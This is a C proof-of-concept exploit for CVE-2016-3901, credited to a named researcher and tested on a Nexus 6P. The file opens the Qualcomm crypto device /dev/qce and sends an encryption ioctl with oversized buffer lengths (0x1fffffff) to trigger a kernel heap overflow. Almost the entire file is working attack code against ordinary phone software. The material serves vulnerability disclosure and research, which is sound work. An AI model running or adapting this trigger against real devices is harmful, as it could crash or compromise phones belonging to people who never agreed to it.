/*
https://code.google.com/p/android/issues/detail?id=215260
https://source.android.com/security/bulletin/2016-10-01.html, CVE-2016-3901

Test in nexus6p with fingerpinrt: google/angler/angler:6.0.1/MTC19T/2741993:user/release-keys
Author:  Gengjia Chen, (chengjia4574@gmail.com)
Time:  20161012
*/

#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>
#include <linux/if_tun.h>
#include <netinet/in.h>
#include <net/if.h>
#include <linux/wireless.h>
#include "qcedev.h"

void test_ioctl(int fd)
{
#define SIZE 128
	int ret, cmd, i;
	char buf[SIZE];
	struct qcedev_cipher_op_req params;
	memset(&params, 0, sizeof(params));
	cmd = QCEDEV_IOCTL_ENC_REQ;
	params.mode = QCEDEV_AES_MODE_ECB;
	params.entries = 9;
	params.data_len = SIZE;

	for (i = 0; i < params.entries-1; i++) {
		params.vbuf.dst[i].len = 0x1fffffff;  
		//params.vbuf.dst[i].vaddr = mmap(NULL,0x1fffffff, PROT_READ, MAP_ANON, -1 , 0);
		params.vbuf.dst[i].vaddr = &buf[0];
		params.vbuf.src[i].len = 0x1fffffff;// cause heap overflow
		//params.vbuf.src[i].vaddr = mmap(NULL,0x1fffffff, PROT_READ, MAP_ANON, -1 , 0);
		params.vbuf.src[i].vaddr = &buf[0];
	}
	params.vbuf.dst[i].len = SIZE+8;
	params.vbuf.dst[i].vaddr = &buf[0];
	//params.vbuf.dst[i].vaddr = mmap(NULL,SIZE+8, PROT_READ, MAP_ANON, -1 , 0);
	params.vbuf.src[i].len = SIZE+8;
	params.vbuf.src[i].vaddr = &buf[0];
	//params.vbuf.src[i].vaddr = mmap(NULL,SIZE+8, PROT_READ, MAP_ANON, -1 , 0);
	
	ret = ioctl(fd, cmd, &params);
	if(ret<0) {
		printf("ioctl fail %s\n",strerror(errno));
		return;
	}
	printf("ioctl ok\n");
}
	int
main(int argc, char *argv[])
{
	char* path = "/dev/qce";
	int fd;
	fd = open(path, O_WRONLY);
	if(fd<0) {
		printf("open %s fail %s\n",path, strerror(errno));
		return -1;
	}
	printf("open %s succ\n",path);
	test_ioctl(fd);
	close(fd);
	return 0;
}
